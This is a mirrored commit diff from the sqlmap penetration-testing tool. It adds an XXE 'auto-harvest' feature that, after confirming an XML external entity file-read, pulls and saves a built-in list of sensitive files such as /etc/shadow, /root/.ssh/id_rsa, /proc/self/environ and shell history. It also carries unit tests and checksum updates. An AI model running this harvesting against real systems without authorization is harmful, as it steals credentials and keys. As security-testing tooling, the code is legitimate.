mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-07-05 16:02:14 +00:00
Minor update
This commit is contained in:
parent
3b3a822e32
commit
3bab3cd795
5 changed files with 152 additions and 39 deletions
|
|
@ -189,10 +189,10 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
|
|||
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
|
||||
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
|
||||
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
|
||||
2a638eed1ff10b42b4dfa70aab9d20580169266a08f44d33da50177bc8e78bf2 lib/core/settings.py
|
||||
f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py
|
||||
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
|
||||
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
|
||||
15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py
|
||||
69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py
|
||||
96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py
|
||||
95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py
|
||||
b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py
|
||||
|
|
@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
|
|||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
|
||||
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
|
||||
e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py
|
||||
b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py
|
||||
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
|
||||
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
|
||||
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
|
||||
|
|
@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use
|
|||
93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py
|
||||
81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py
|
||||
9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py
|
||||
b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py
|
||||
db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613 tests/test_xxe.py
|
||||
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
|
||||
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.7.28"
|
||||
VERSION = "1.10.7.29"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
@ -1121,6 +1121,32 @@ XXE_IMPACT_FILES = (
|
|||
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
|
||||
)
|
||||
|
||||
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
|
||||
# this curated set of high-value, fixed-path files (host identity, process env/
|
||||
# secrets, key material) - the XXE analogue of the automatic dumping the other
|
||||
# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
|
||||
# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
|
||||
# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
|
||||
# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
|
||||
# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
|
||||
XXE_FILE_HARVEST = (
|
||||
"/etc/passwd",
|
||||
"/etc/hostname",
|
||||
"/etc/hosts",
|
||||
"/etc/os-release",
|
||||
"/etc/shadow",
|
||||
"/etc/group",
|
||||
"/proc/self/environ",
|
||||
"/proc/self/cmdline",
|
||||
"/proc/self/status",
|
||||
"/proc/version",
|
||||
"/root/.bash_history",
|
||||
"/root/.ssh/id_rsa",
|
||||
"c:/windows/win.ini",
|
||||
"c:/windows/system32/drivers/etc/hosts",
|
||||
"c:/inetpub/wwwroot/web.config",
|
||||
)
|
||||
|
||||
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
|
||||
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
|
||||
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).
|
||||
|
|
|
|||
|
|
@ -618,7 +618,7 @@ def _createFilesDir():
|
|||
Create the file directory.
|
||||
"""
|
||||
|
||||
if not any((conf.fileRead, conf.commonFiles)):
|
||||
if not any((conf.fileRead, conf.commonFiles, conf.xxe)):
|
||||
return
|
||||
|
||||
# Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)
|
||||
|
|
|
|||
|
|
@ -26,6 +26,7 @@ from lib.core.enums import HTTPMETHOD
|
|||
from lib.core.settings import ASTERISK_MARKER
|
||||
from lib.core.settings import XXE_BLACKHOLE_HOST
|
||||
from lib.core.settings import XXE_ERROR_SIGNATURES
|
||||
from lib.core.settings import XXE_FILE_HARVEST
|
||||
from lib.core.settings import XXE_HARDENED_REGEX
|
||||
from lib.core.settings import XXE_IMPACT_FILES
|
||||
from lib.core.settings import OOB_POLL_ATTEMPTS
|
||||
|
|
@ -229,21 +230,50 @@ def _echoed(page):
|
|||
def _report(title, payload):
|
||||
if conf.beep:
|
||||
beep()
|
||||
place = "%s XML body" % (conf.method or HTTPMETHOD.POST)
|
||||
conf.dumper.singleString("---\nParameter: %s\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
|
||||
place = conf.method or HTTPMETHOD.POST
|
||||
conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
|
||||
|
||||
|
||||
def _saveFileRead(remoteFile, content):
|
||||
"""Save an XXE-read file to the output directory (parity with '--file-read') and
|
||||
return its local path, or None if it could not be written."""
|
||||
try:
|
||||
return dataToOutFile(remoteFile, getBytes(content))
|
||||
except Exception as ex:
|
||||
logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
|
||||
return None
|
||||
|
||||
|
||||
def _dumpFileRead(remoteFile, content):
|
||||
"""Save an XXE-read file to the output directory (parity with '--file-read') and
|
||||
list it; fall back to a console dump if the file cannot be written."""
|
||||
try:
|
||||
localPath = dataToOutFile(remoteFile, getBytes(content))
|
||||
if localPath:
|
||||
conf.dumper.rFile([localPath])
|
||||
return
|
||||
except Exception as ex:
|
||||
logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
|
||||
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
|
||||
"""Save a single XXE-read file and list it; fall back to a console dump if the
|
||||
file cannot be written."""
|
||||
localPath = _saveFileRead(remoteFile, content)
|
||||
if localPath:
|
||||
conf.dumper.rFile([localPath])
|
||||
else:
|
||||
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
|
||||
|
||||
|
||||
def _harvestFiles(xml, rootName):
|
||||
"""Proactive, best-effort file harvest run once an in-band XXE read primitive is
|
||||
confirmed: pull a curated set of high-value fixed-path files (host identity,
|
||||
process env/secrets, key material) the way the other non-SQL engines auto-dump
|
||||
their reachable data. Returns a list of (path, content, payload) for every file
|
||||
that read back non-empty; unreadable/absent files are silently skipped. Content is
|
||||
de-duplicated so a parser that resolves every missing path to the same stub cannot
|
||||
masquerade as many distinct reads."""
|
||||
|
||||
harvested = []
|
||||
seen = set()
|
||||
for path in XXE_FILE_HARVEST:
|
||||
content, payload = _tryInbandFileRead(xml, rootName, path)
|
||||
if content and content.strip():
|
||||
key = content.strip()
|
||||
if key in seen:
|
||||
continue
|
||||
seen.add(key)
|
||||
harvested.append((path, content, payload))
|
||||
return harvested
|
||||
|
||||
|
||||
def _tryInternal(xml, rootName, baseline):
|
||||
|
|
@ -280,7 +310,7 @@ def _tryInbandFileRead(xml, rootName, fileName):
|
|||
entity between two random markers so the exact file content can be sliced out
|
||||
of the response regardless of surrounding template. Raw file:// works for text
|
||||
files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
|
||||
the file content or None."""
|
||||
(content, payload) or (None, None)."""
|
||||
|
||||
from lib.core.convert import decodeBase64
|
||||
|
||||
|
|
@ -303,13 +333,13 @@ def _tryInbandFileRead(xml, rootName, fileName):
|
|||
except Exception:
|
||||
continue
|
||||
if data and data.strip():
|
||||
return data
|
||||
return None
|
||||
return data, payload
|
||||
return None, None
|
||||
|
||||
|
||||
def _tryExternalFile(xml, rootName, baseline):
|
||||
"""Impact demonstration once XXE is live: read a benign host-identity file via
|
||||
an external general entity. Returns (systemId, snippet) on a confirmed read."""
|
||||
an external general entity. Returns (systemId, payload) on a confirmed read."""
|
||||
|
||||
for systemId, pattern in XXE_IMPACT_FILES:
|
||||
ent = randomStr(length=8, lowercase=True)
|
||||
|
|
@ -317,7 +347,7 @@ def _tryExternalFile(xml, rootName, baseline):
|
|||
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
|
||||
snippet = _confirmRead(_send(payload), pattern, baseline)
|
||||
if snippet:
|
||||
return systemId, snippet
|
||||
return systemId, payload
|
||||
return None, None
|
||||
|
||||
|
||||
|
|
@ -639,8 +669,9 @@ def xxeScan():
|
|||
_OOB_CONSENT = None
|
||||
|
||||
debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
|
||||
debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration "
|
||||
debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored"
|
||||
debugMsg += "in the request body and, once confirmed, automatically harvests high-value "
|
||||
debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches "
|
||||
debugMsg += "(--banner, --dbs, --tables, --dump) are ignored"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
xml = _cleanBody()
|
||||
|
|
@ -661,31 +692,59 @@ def xxeScan():
|
|||
|
||||
# T2: in-band reflected DTD/internal-entity expansion. This proves the parser
|
||||
# processes entities but is NOT yet file-read impact, so it deliberately does NOT
|
||||
# set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still
|
||||
# run to try to upgrade a mere "expansion confirmed" into actual file-read impact.
|
||||
# set `found` on its own - we first try to UPGRADE it to real file-read impact and
|
||||
# then emit a SINGLE report block with the strongest confirmed vector and its real
|
||||
# payload (one report per finding, as with the other non-SQL engines). The internal
|
||||
# expansion is only reported on its own when no external-entity read is reachable.
|
||||
payload, page = _tryInternal(xml, rootName, baseline)
|
||||
if payload:
|
||||
expansionSeen = True
|
||||
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
|
||||
_report("In-band DTD/internal entity expansion", payload)
|
||||
|
||||
if conf.get("fileRead"):
|
||||
content = _tryInbandFileRead(xml, rootName, conf.fileRead)
|
||||
content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead)
|
||||
if content:
|
||||
found = True
|
||||
logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
|
||||
_report("In-band file read ('%s')" % conf.fileRead, "<in-band reflected read of '%s'>" % conf.fileRead)
|
||||
_report("In-band file read ('%s')" % conf.fileRead, readPayload)
|
||||
_dumpFileRead(conf.fileRead, content)
|
||||
else:
|
||||
# benign, in-band impact demonstration (data stays in the response, no third party)
|
||||
systemId, snippet = _tryExternalFile(xml, rootName, baseline)
|
||||
if not systemId:
|
||||
snippet = _tryPhpFilter(xml, rootName, baseline)
|
||||
systemId = "php://filter" if snippet else None
|
||||
if systemId:
|
||||
# No targeted '--file-read': proactively harvest a curated set of high-value
|
||||
# files (data stays in the response, no third party) - the XXE analogue of
|
||||
# the automatic dumping the other non-SQL engines do once confirmed.
|
||||
harvested = _harvestFiles(xml, rootName)
|
||||
if harvested:
|
||||
found = True
|
||||
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
|
||||
_report("In-band file-read impact (external entity '%s')" % systemId, "<external-entity read of a benign file for impact>")
|
||||
firstPath, _, firstPayload = harvested[0]
|
||||
logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
|
||||
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
|
||||
saved = []
|
||||
for path, content, _ in harvested:
|
||||
logger.info("read remote file '%s' (%d bytes)" % (path, len(content)))
|
||||
localPath = _saveFileRead(path, content)
|
||||
if localPath:
|
||||
saved.append(localPath)
|
||||
else:
|
||||
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content))
|
||||
if saved:
|
||||
conf.dumper.rFile(saved)
|
||||
else:
|
||||
# Harvest read nothing (content relocated in the response, or only benign
|
||||
# host-identity is exposed): fall back to the pattern-based impact proof
|
||||
# so file-read impact is still confirmed.
|
||||
systemId, readPayload = _tryExternalFile(xml, rootName, baseline)
|
||||
if not systemId:
|
||||
readPayload = _tryPhpFilter(xml, rootName, baseline)
|
||||
systemId = "php://filter" if readPayload else None
|
||||
if systemId:
|
||||
found = True
|
||||
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
|
||||
_report("In-band file-read impact (external entity '%s')" % systemId, readPayload)
|
||||
|
||||
if not found:
|
||||
# external entities are disabled (only internal expansion is reachable):
|
||||
# report that weaker-but-real finding with its actual payload
|
||||
_report("In-band DTD/internal entity expansion", payload)
|
||||
|
||||
# T3: error-based (works where entities are not reflected but errors leak). A
|
||||
# redundant detection channel once in-band reflection was already seen, so it is
|
||||
|
|
|
|||
|
|
@ -239,7 +239,35 @@ class TestReportMethod(unittest.TestCase):
|
|||
xxe._report("Title", "Payload")
|
||||
finally:
|
||||
conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep
|
||||
self.assertIn("PUT XML body", captured[0])
|
||||
self.assertIn("Parameter: XML body (PUT)", captured[0])
|
||||
|
||||
|
||||
class TestHarvestFiles(unittest.TestCase):
|
||||
def test_harvest_collects_dedups_and_skips_empty(self):
|
||||
# simulate a target that returns real content for two files, an empty read for
|
||||
# one (skipped), and an identical stub for the rest (deduped to a single entry)
|
||||
def _fake(xml, rootName, path):
|
||||
if path == "/etc/passwd":
|
||||
return "root:x:0:0:root:/root:/bin/sh\n", "PAYLOAD-passwd"
|
||||
if path == "/etc/hostname":
|
||||
return "host01\n", "PAYLOAD-hostname"
|
||||
if path == "/etc/hosts":
|
||||
return " ", "PAYLOAD-empty" # whitespace-only -> skipped
|
||||
return "same stub", "PAYLOAD-stub" # identical for every other path -> deduped
|
||||
|
||||
old = xxe._tryInbandFileRead
|
||||
xxe._tryInbandFileRead = _fake
|
||||
try:
|
||||
harvested = xxe._harvestFiles("<user><name>x</name></user>", "user")
|
||||
finally:
|
||||
xxe._tryInbandFileRead = old
|
||||
|
||||
paths = [p for p, _, _ in harvested]
|
||||
self.assertIn("/etc/passwd", paths)
|
||||
self.assertIn("/etc/hostname", paths)
|
||||
self.assertNotIn("/etc/hosts", paths) # empty read skipped
|
||||
self.assertEqual(paths.count("/etc/passwd"), 1)
|
||||
self.assertEqual(sum(1 for c in (c for _, c, _ in harvested) if c == "same stub"), 1) # stub deduped
|
||||
|
||||
|
||||
class TestOobBase64Capture(unittest.TestCase):
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue